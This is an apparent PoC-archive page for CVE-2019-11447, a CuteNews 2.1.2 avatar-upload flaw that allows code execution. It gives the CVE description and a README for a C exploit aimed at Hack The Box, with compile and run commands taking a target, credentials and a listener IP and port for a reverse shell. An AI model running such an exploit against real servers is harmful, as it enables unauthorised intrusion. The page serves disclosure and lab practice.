Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-11447 PoC — 编号重复

Source
Associated Vulnerability
Title:编号重复 (CVE-2019-11447)
Description:An issue was discovered in CutePHP CuteNews 2.1.2. An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal. There is no effective control of $imgsize in /core/modules/dashboard.php. The header content of a file can be changed and the control can be bypassed for code execution. (An attacker can use the GIF header for this.)
Description
CVE-2019-11447 written in C
Readme
# CVE-2019-11447 PoC

## Overview
This C program is a proof-of-concept (PoC) for exploiting CVE-2019-11447, an arbitrary file upload vulnerability in CuteNews. This PoC is designed to be used on the Hack The Box platform.

### Usage
Compile the program using gcc:

```bash
gcc -o exploit exploit.c -lcurl
```

Run the compiled program with the following command-line arguments:

```bash
./poc_exploit -t TARGET -u USERNAME -p PASSWORD -lh LISTENER_IP -lp LISTENER_PORT -f FILENAME
```

#### Parameters
-t, --target : Target IP address or domain (required)
-u, --uname : Username (required)
-p, --passw : Password (required)
-lh, --lhost : Listener IP address (required)
-lp, --lport : Listener Port (default: 4444)
-f, --file : Filename for payload WITHOUT extension (default: payload)

#### Example
```bash
./poc_exploit -t example.com -u admin -p pass -lh 192.168.1.1 -lp 4444 -f mypayload
```
File Snapshot

[4.0K] /data/pocs/babfff293026cf4ea716fcb095305e3b7c200e80 ├── [ 18K] exploit ├── [5.3K] exploit.c ├── [1.5K] LICENSE └── [ 896] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →